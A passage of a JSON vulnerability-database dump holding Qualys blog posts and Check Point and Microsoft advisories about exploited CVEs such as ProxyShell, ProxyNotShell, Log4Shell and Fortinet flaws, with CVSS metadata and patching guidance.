(vulnerability prioritization) and showcased how it\u2019s better than existing models. This blog is the first of series of blogs around TruRisk, and in subsequent blogs we will do a similar deep-dives into other aspects of TruRisk for e.g. asset risk, asset group risk, misconfigurations and many more to help organizations prioritize better based on risk.\n\nWith Qualys TruRisk we have introduced foundational building blocks for major cyber risk initiatives like peer benchmarking, risk score customization, third-party risk assessment, and many more. We are very excited about TruRisk and the benefits it provides to our customers. Stay tuned for more updates.\n\n### Additional Contributors\n\n 1. Shreya Salvi, Data Scientist, Qualys\n 2. Mehul Revankar, VP, Product Management & Engineering for VMDR, Qualys\n 3. Payal Mehrotra, Senior Director, Product Management for CyberRisk, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-10T14:32:29", "type": "qualysblog", "title": "In-Depth Look Into Data-Driven Science Behind Qualys TruRisk", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-3351", "CVE-2021-31207", "CVE-2021-34523", "CVE-2021-36942", "CVE-2022-30190"], "modified": "2022-10-10T14:32:29", "id": "QUALYSBLOG:9E3CACCA2916D132C2D630A8C15119F3", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-28T04:05:53", "description": "Welcome to the third edition of the Qualys Research Team\u2019s \u201cThreat Research Thursday\u201d, where we collect and curate notable new tools, techniques, procedures, threat intelligence, cybersecurity news, malware attacks, and more. Feedback on our second edition, [Qualys Threat Research Thursday](<https://blog.qualys.com/vulnerabilities-threat-research/2022/09/29/qualys-threat-research-thursday>), is more than welcome. We would love to hear from you! \n\n\n\n## From the Qualys Blog \n\nHere is a roundup of the most interesting blogs from the Qualys Research Team over the past couple of weeks: \n\n * [Qualys Response to ProxyNotShell Microsoft Exchange Server Zero-Day Threat Using Qualys Cloud Platform](<https://blog.qualys.com/vulnerabilities-threat-research/2022/09/30/qualys-response-to-proxynotshell-microsoft-exchange-server-zero-day-threat-using-qualys-platform>) \u2013 How do you detect the ProxyNotShell vulnerability that was released a month ago? This blog talks about all of this and more. Definitely worth a look since no official patches are available as of today! \n * [Leeloo Multipath: Authorization bypass and symlink attack in multipathd (CVE-2022-41974 and CVE-2022-41973)](<https://blog.qualys.com/vulnerabilities-threat-research/2022/10/25/leeloo-multipath-authorization-bypass-and-symlink-attack-in-multipathd-cve-2022-41974-and-cve-2022-41973>) \u2013 Fresh from the Qualys Research Team! Read more about our indigenous research in discovering these vulnerabilities affecting the `multipathd` daemon.\n * [Text4Shell: Detect, Prioritize and Remediate The Risk Across On-premise, Cloud, Container Environment Using Qualys Platform](<https://blog.qualys.com/vulnerabilities-threat-research/2022/10/27/text4shell-detect-prioritize-and-remediate-the-risk-across-on-premise-cloud-container-environment-using-qualys-platform>) - All the details for detecting, prioritizing and remediating the Text4Shell vulnerability can be found in this post.\n\n## New Tools & Techniques \n\n**ScubaGear** \u2013 This assessment tool was developed by CISA. It verifies that an M365 tenant\u2019s configuration conforms to the policies described in the SCuBA Minimum Viable Secure Configuration Baseline documents. Currently, available baseline documents cater to Hybrid Azure Active Directory (AD), Microsoft 365 Defender, Microsoft Exchange Online, OneDrive for Business, Power BI, the Microsoft Power Platform, SharePoint Online and Microsoft Teams. ScubaGear v0.1.0 source can be [found on GitHub](<https://github.com/cisagov/ScubaGear>). \n\n**RustHound** \u2013 This cross-platform active directory collector for BloodHound is written in Rust. It will work on Linux, Windows, or MacOS. Though not all features from SharpHound are implemented yet, it is worthwhile to get this into our detection engineering cycles so that effective detections can be developed. [Check out the GitHub project](<https://github.com/OPENCYBER-FR/RustHound>). \n\n**WinDbg** \u2013 I know, I know! WinDbg is old. But the latest version of the WinDbg Preview debugger is now available with regex search and restricted mode support. [Check out WinDbg 1.2107.13001.0](<https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86>). \n\n**Sysmon - **This release fixes and adds a new Windows Event ID 28 for FileBlockShredding, which is generated when Sysmon detects and blocks file shredding from tools such as SDelete. [Download Sysmon v14.1](<https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon>). \n\n**SockFuzzer \u2013 **This is an all-in-one network syscall fuzzer for XNU. It helps you fuzz the network stack on macOS and Linux-based hosts in userland. Check [it out here](<https://github.com/googleprojectzero/SockFuzzer>). \n\n**SharpEfsPotato** - This is a neat demonstration of local privilege escalation from SeImpersonatePrivilege using Encrypting File System Remote (EFSRPC) Protocol. This combines two different projects - SweetPotato and SharpSystemTriggers/SharpEfsTrigger. Read more on [SharpEfsPotato](<https://github.com/bugch3ck/SharpEfsPotato>). \n\n**TokenMan** \u2013 This new and open-source token manipulation tool will help you in post-exploitation activities when working with Azure Active Directory \u2013 especially useful when you have a Family of Client ID (FOCI) access. Download [the tool here](<https://github.com/secureworks/TokenMan>). \n\n## New Vulnerabilities\n\n**CVE-2022-41040, CVE-2022-41082** \u2013 aka ProxyNotShell! Mitigations are available for these 0day vulnerabilities. They apply to Microsoft Exchange Server 2013, Exchange Server 2016, and Exchange Server 2019. Limited, targeted attacks are still being seen in the wild for these server-side request forgery (SSRF) and remote code execution (RCE) vulnerabilities. Read more on the [Microsoft Customer Guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) page. Qualys customers can scan for QID 50122 and find vulnerable and unpatched Microsoft Exchange systems in their environment. \n\n**CVE-2022-41352 **\u2013 This publicly exploited vulnerability affecting Zimbra Collaboration (ZCS) 8.8.15 and 9.0, allows a remote attacker to gain incorrect access to any other user accounts. Qualys VMDR customers can keep a look out for QID 377618 in their reports and identify vulnerable installations. It is recommended that affected customers update to ZCS 9.0.0 Patch 27 or ZCS 8.8.15 Patch 34. More information about this can be [found here](<https://wiki.zimbra.com/wiki/Security_Center>). \n\n**CVE-2022-40684 \u2013 **This Fortinet authentication bypass vulnerability allows threat attackers to log in as an administrator on affected FortiOS, FortiProxy, and FortiSwitchManager products. A simple HTTP packet to the administrative interface is enough to compromise an affected device. Qualys VMDR and WAS QIDS - 150585, 730623, 43921 should get you started with finding vulnerable systems in your environment. Follow it up by patching up the vulnerability as mentioned in this [vendor-published advisory](<https://www.fortiguard.com/psirt/FG-IR-22-377>). Reminder \u2013 a PoC exploiting this vulnerability is already out in the wild. \n\n## Noteworthy Mentions \n\nQualys Threat Research Team contributed to the October 25, 2022 release of **MITRE ATT&CK v12**! Our contribution from [Defending Against Scheduled Task Attacks in Windows Environments](<https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments>) was cited under [T1053.005](<https://attack.mitre.org/techniques/T1053/005/>). This release introduces \u201cCampaigns\u201d, where adversary activity conducted over a specific period on common targets are grouped together. This version of ATT&CK for Enterprise contains 14 Tactics, 193 Techniques, 401 Sub-techniques, 135 Groups, 14 Campaigns, and 718 Pieces of Software. [Read more here](<https://attack.mitre.org/resources/updates/updates-october-2022/>). \n\nWe also contributed to the awesome and open-source **Atomic Red Team** framework. Examples are [Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key](<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md#atomic-test-22---disable-uac-admin-consent-prompt-via-consentpromptbehavioradmin-registry-key>) and [Atomic Test #2 - Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message](<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1491.001/T1491.001.md#atomic-test-2---configure-legalnoticecaption-and-legalnoticetext-registry-keys-to-display-ransom-message>) by our Senior Engineer, Threat Research - [Harshal](<https://blog.qualys.com/author/htupsamudre>). \n\n## Threat Thursdays Webinar \n\nIf you missed last month's [Threat Thursday](<https://event.on24.com/wcc/r/3925198/52A4000CBD17D2B16AFD5F56B3C9D15A>) monthly webinar where the Qualys Threat Research Team presented an in-depth analysis of AsyncRAT, you could watch on-demand at the link below. \n\n[Watch Now](<https://gateway.on24.com/wcc/eh/3347108/lp/3987473/qualys_research_team_threat_thursdays_october_2022/>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-28T00:58:53", "type": "qualysblog", "title": "Qualys Research Team: Threat Thursdays, October 2022", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-40684", "CVE-2022-41040", "CVE-2022-41082", "CVE-2022-41352", "CVE-2022-41973", "CVE-2022-41974"], "modified": "2022-10-28T00:58:53", "id": "QUALYSBLOG:69FF0F583C65CD2D1EB59914BE41A705", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-08-24T19:24:47", "description": "A unified front against malicious cyber actors is climactic in the ever-evolving cybersecurity landscape. The joint Cybersecurity Advisory (CSA), a collaboration between leading cybersecurity agencies from the United States, Canada, United Kingdom, Australia, and New Zealand, is a critical guide to strengthen global cyber resilience. The agencies involved include the U.S.'s CISA, NSA, and FBI; Canada's CCCS; U.K.'s NCSC-UK; Australia's ACSC; and New Zealand's NCSC-NZ and CERT NZ. \n\nThis collaboration among key cybersecurity agencies highlights the global nature of cybersecurity threats. Such cooperative efforts signify a unified perspective and highlight the need for shared intelligence and coordinated strategies. The realization that cybersecurity is not limited to national borders but is a shared responsibility is growing more evident. \n\nThe CSA sheds light on the Common Vulnerabilities and Exposures (CVEs) routinely and frequently exploited in 2022 and the associated Common Weakness Enumeration(s) (CWE). It outlines crucial technical details and key findings, providing actionable guidance and mitigation strategies. Vendors, designers, developers, and end-user organizations are strongly urged to implement these guidelines to strengthen their defenses against possible threats. \n\n### **The Cybersecurity Advisory (CSA) has identified the following key findings that outline essential insights into the behaviors and tendencies of malicious cyber actors for 2022:** \n\n * **Older Vulnerabilities Targeted**: Malicious cyber actors exploited older software vulnerabilities more frequently, targeting unpatched, internet-facing systems. \n * **Proof of Concept (PoC) Code**: Public availability of PoC code likely facilitated broader exploitation by malicious actors. \n * **Success in First Two Years**: Known vulnerabilities are most successfully exploited within the first two years of disclosure. Timely patching reduces this effectiveness. \n * **Prioritization of Severe CVEs**: Cyber actors prioritize severe and globally prevalent vulnerabilities, seeking low-cost, high-impact tools and paying attention to vulnerabilities principal in specific targets' networks. \n * **Detection through Deep Packet Inspection**: Deep packet inspection can often detect exploits involving multiple CVE or CVE chains. \n\nIn 2022, malicious cyber actors routinely exploited 12 severe vulnerabilities, affecting various products and services. These issues included the long-exploited Fortinet SSL VPNs' CVE-2018-13379 and widespread vulnerabilities such as Apache's Log4Shell (CVE-2021-44228). They impacted multiple systems, from Microsoft Exchange email servers to Atlassian Confluence and software like Zoho ManageEngine and VMware. The exploitation often resulted from organizations' failure to patch software or due to publicly available proofs of concept (PoC), enabling remote execution, privilege escalation, and authentication bypass. The table below shows detailed information on these 12 vulnerabilities, along with Qualys-provided QIDs. A crucial commonality between these vulnerabilities is their potential to compromise system integrity, confidentiality, and availability severely. The Qualys Threat Research Unit (TRU) team has addressed all aforementioned critical vulnerabilities by providing QIDs within 24 hours. These critical vulnerabilities are categorized based on their potential impact if exploited as follows: \n\nCVE/Vuln Name| Vendor/Product| Type| QID| QDS \n---|---|---|---|--- \nCVE-2018-13379| Fortinet - FortiOS and FortiProxy | SSL VPN Credential Exposure | 43702| 100 \nCVE-2021-34473 (Proxy Shell) | Microsoft - Exchange Server | RCE | 50114, 50107| 100 \nCVE-2021-31207 (Proxy Shell) | Microsoft - Exchange Server | Security Feature Bypass | 50114, 50111| 95 \nCVE-2021-34523 (Proxy Shell) | Microsoft - Exchange Server | Elevation of Privilege | 50114, 50112| 100 \nCVE-2021-40539| Zoho ManageEngine - ADSelfService Plus | RCE/Authentication Bypass | 375840| 100 \nCVE-2021-26084| Atlassian - Confluence Server and Data Center | Arbitrary code execution | 375839, 730172| 100 \nCVE-2021-44228 (Log4Shell) | Apache - Log4j2 | RCE | 730447, 376521| 100 \nCVE-2022-22954| VMware - Workspace ONE Access and Identity Manager | RCE | 730447, 376521| 100 \nCVE-2022-22960| VMware - Workspace ONE Access, Identity Manager, and vRealize Automation | Improper Privilege Management | 376521| 95 \nCVE-2022-1388| F5 Networks - BIG-IP | Missing Authentication Vulnerability | 730489, 376577| 96 \nCVE-2022-30190 (Follina)| Microsoft - Multiple Products | RCE | 91909| 100 \nCVE-2022-26134| Atlassian - Confluence Server and Data Center | RCE | 376657, 730514| 100 \n \n**Vulnerabilities Paving the Way for Data Theft and More:** \n\nThe following vulnerabilities that could potentially lead to data theft or lay the groundwork for further attacks: \n\n * **CVE-2018-13379**, a flaw in the Fortinet FortiOS SSL VPN web portal, could be leveraged by attackers to gain unauthorized access to sensitive SSL VPN session data. \n * **CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207**, collectively known as ProxyShell vulnerabilities affecting Microsoft Exchange Servers, could enable bad actors to deploy web shells and execute arbitrary code on compromised devices. \n * **CVE-2022-1388**, an F5 BIG-IP iControl REST API vulnerability, could offer initial network access to cyber criminals, enabling infamous activities like data theft or ransomware deployment. \n\n**Vulnerabilities Leading to System Takeover:** \n\nNext, the following vulnerabilities that could potentially compromise an entire system: \n\n * **CVE-2021-44228**, or Log4Shell, exploits Apache's log4j Java library, possibly leading to a total system compromise. \n * **CVE-2021-26084 and CVE-2022-26134**, vulnerabilities found in Atlassian's Confluence Server and Data Center, can allow an attacker to execute arbitrary code, leading to a potential system takeover. \n * **CVE-2021-40539**, an issue with Zoho ManageEngine ADSelfService Plus, can allow for arbitrary code execution and potential system compromise. \n * **CVE-2022-30190**, found in the Microsoft Support Diagnostic Tool, can be exploited for remote code execution, potentially leading to full system compromise. \n * **CVE-2022-22954 and CVE-2022-22960**, affecting VMware Workspace ONE Access, Identity Manager, and vRealize Automation, can allow for remote code execution and privilege escalation, respectively, potentially leading to full system compromise. \n\n### **Analyzing Vulnerability Remediation Patterns and the Urgency of Swift Patching**\n\nOur data, which sheds light on the patching behavior for 12 significant vulnerabilities, is pulled from the Qualys TruRisk Platform. This data is anonymized to ensure that any data analysis cannot revert to identifying specific organization or asset information. \n\nThe data highlights a prominent challenge where some vulnerabilities witness rapid mitigation, highlighting proactive security measures. In contrast, others face prolonged remediation times, raising concerns about potential exposure risks. Such disparities underline the importance of detecting and swiftly addressing vulnerabilities. As cyber threats grow in sophistication, the urgency to patch quickly and efficiently becomes paramount. The following plot contrasting the patch rates and remediation times for 12 frequently exploited vulnerabilities in 2022 further illustrates this point. It shows that while some vulnerabilities are quickly patched, others remain unaddressed for extended periods. This analysis reinforces the importance of timely vulnerability management and the pressing need to do so with speed and diligence, especially for high-risk vulnerabilities. \n\n\n\nFig 1. Patch Rate vs. Average Remediation Days for Top 12 Routinely Exploited Vulnerabilities in 2022 \n\nThe damaging potential of these vulnerabilities highlights the vital importance of cybersecurity alertness. By understanding the risks and possible impacts of these threats, organizations can adopt proactive defense strategies, patching vulnerabilities and updating systems regularly to ensure the integrity of their environments. The advisory also emphasizes the criticality of accurately incorporating the CWE field in published CVEs to highlight vulnerability root causes and support industry-wide software security insights. \n\n### **Aligning Qualys Platform with Joint Cybersecurity Advisory Mitigating Guidelines** \n\nThe recent joint Cybersecurity Advisory (CSA) emphasizes the urgency of identifying exploited vulnerabilities, keeping all network assets updated, and implementing a robust patch management process. Among the recommendations are the timely updating of software, prioritizing patches for known vulnerabilities, performing automated asset discovery, and implementing centralized patch management. \n\nQualys' suite of products directly aligns with these critical recommendations. Qualys Cybersecurity Asset Management (CSAM) ensures 360-degree visibility of assets, aligning with CSA's call for comprehensive asset discovery. Qualys Patch Management offers an advanced automated solution for timely updates, while Qualys VMDR facilitates the discovery, assessment, and prioritization of vulnerabilities. By leveraging Qualys' unified platform, organizations can efficiently adhere to international best practices outlined in the CSA, enhancing their defense against cyber threats. \n\nIn addition, the joint Cybersecurity Advisory (CSA) stresses the need for robust protective controls and architecture. Key recommendations include securing internet-facing network devices, continuously monitoring the attack surface, and prioritizing secure-by-default configurations. There is a strong focus on hardening network protocols, managing access controls, and employing security tools such as EDR and SIEM for enhanced protection. \n\nQualys Threat Protection aligns seamlessly with these recommendations by providing centralized control and comprehensive visibility of the threat landscape. By continuously correlating external threat information against vulnerabilities and the IT asset inventory, Qualys allows organizations to pinpoint and prioritize the most critical security threats. Whether managing vulnerabilities, controlling the threat prioritization process, or ensuring compliance with regulations, Qualys empowers organizations to align with the CSA's guidelines and achieve a fortified security posture. \n\nQualys TotalCloud also employs deep learning AI to continuously monitor the attack surface and investigate abnormal activity, aligning with CSA guidelines. It is leveraging an interconnected artificial neural network that detects known and unknown malware with over 99% accuracy in less than a second. Through these capabilities, Qualys TotalCloud delivers an advanced, rapid, and precise solution for malware detection in multi-cloud environments and bypassing the limitations of signature-based systems. \n\n\n\nFig 2. Qualys VMDR TruRisk Dashboard for top 12 routinely exploited vulnerabilities in 2022 \n\nThe [Qualys VMDR TruRisk Dashboard](<https://ik.imagekit.io/qualys/wp-content/uploads/2023/08/Qualys-VMDR-TruRisk-UDdashboard.json_.zip>) (JSON zipped) helps organizations to have complete visibility into open vulnerabilities that focus on the organization\u2019s global risk score, high-risk vulnerabilities, and Top Exploited Vulnerabilities. Once you identify the vulnerable assets for these top vulnerable CVEs prioritized among your remediation owners, you can instantly use Qualys Patch management to reduce the risk. \n\nIn conclusion, this Cybersecurity Advisory (CSA) offers valuable insights and mitigation strategies against routine vulnerabilities. Qualys provides robust solutions that align seamlessly with CSA's recommendations, including asset management, timely updates, vulnerability prioritization, and advanced threat detection capabilities in this growing landscape. Consequently, organizations can strengthen their defenses against cyber threats by sticking to CSA guidelines and leveraging comprehensive cybersecurity solutions like Qualys'. \n\n## References\n\n[CISA, NSA, FBI and International Partners Issue Advisory on the Top Routinely Exploited Vulnerabilities in 2022](<https://media.defense.gov/2023/Aug/03/2003273618/-1/-1/0/JOINT-CSA-2022-TOP-ROUTINELY-EXPLOITED-VULNERABILITIES.PDF>)\n\n## Additional Contributor \n\n * Ramesh Ramachandran, Principal Product Manager, Qualys\n * Aubrey Perin, Lead Threat Intelligence Analyst, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-08-24T19:07:05", "type": "qualysblog", "title": "Qualys Tackles 2022\u2019s Top Routinely Exploited Cyber Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2021-26084", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-40539", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-22954", "CVE-2022-22960", "CVE-2022-26134", "CVE-2022-30190"], "modified": "2023-08-24T19:07:05", "id": "QUALYSBLOG:56A00F45A170AF95CF38191399649A4C", "href": "https://blog.qualys.com/category/qualys-insights", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-10-04T15:20:24", "description": "A remote code execution vulnerability exists in Microsoft Exchange. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-03T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2022-41082; CVE-2022-41040)", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-10-04T00:00:00", "id": "CPAI-2022-0628", "href": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-04T10:05:38", "description": "A remote code execution vulnerability exists in Microsoft Exchange. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-34473; CVE-2021-34523)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-09-30T00:00:00", "id": "CPAI-2021-0476", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-16T19:30:25", "description": "An authentication bypass vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability would allow remote attackers to gain unauthorized access into the affected system.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-16T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Security Feature Authentication Bypass (CVE-2021-31207)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-12-16T00:00:00", "id": "CPAI-2021-0900", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "msrc": [{"lastseen": "2023-06-03T15:13:34", "description": "November 8, 2022 update - Microsoft released security updates for CVE-2022-41040 and CVE-2022-41082. We recommend that customers protect their organizations by applying the updates immediately to affected systems. The options described in the Mitigations section are no longer recommended. For more information, review the Exchange Team blog. Summary Summary On November 8 Microsoft released security updates for two zero-day vulnerabilities affecting Microsoft Exchange Server 2013, Exchange Server 2016, and Exchange Server 2019.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T07:00:00", "type": "msrc", "title": "Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T07:00:00", "id": "MSRC:644966B4D83B650C284EC9D93664582D", "href": "/blog/2022/09/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-11-08T18:46:25", "description": "November 8, 2022 update - Microsoft released security updates for CVE-2022-41040 and CVE-2022-41082. We recommend that customers protect their organizations by applying the updates immediately to affected systems. The options described in the Mitigations section are no longer recommended. For more information, review the Exchange Team blog. Summary On November 8 Microsoft released security updates \u2026\n\n[ Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server Read More \u00bb](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T06:55:00", "type": "msrc", "title": "Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T06:55:00", "id": "MSRC:4F7507AA26F4DEB78152DE764136012C", "href": "https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-08-11T21:15:42", "description": "November 8, 2022 update - Microsoft released security updates for CVE-2022-41040 and CVE-2022-41082. We recommend that customers protect their organizations by applying the updates immediately to affected systems. The options described in the Mitigations section are no longer recommended. For more information, review the Exchange Team blog. Summary Summary On November 8 Microsoft released security updates for two zero-day vulnerabilities affecting Microsoft Exchange Server 2013, Exchange Server 2016, and Exchange Server 2019.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T07:00:00", "type": "msrc", "title": "Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "blog", "cvss2": 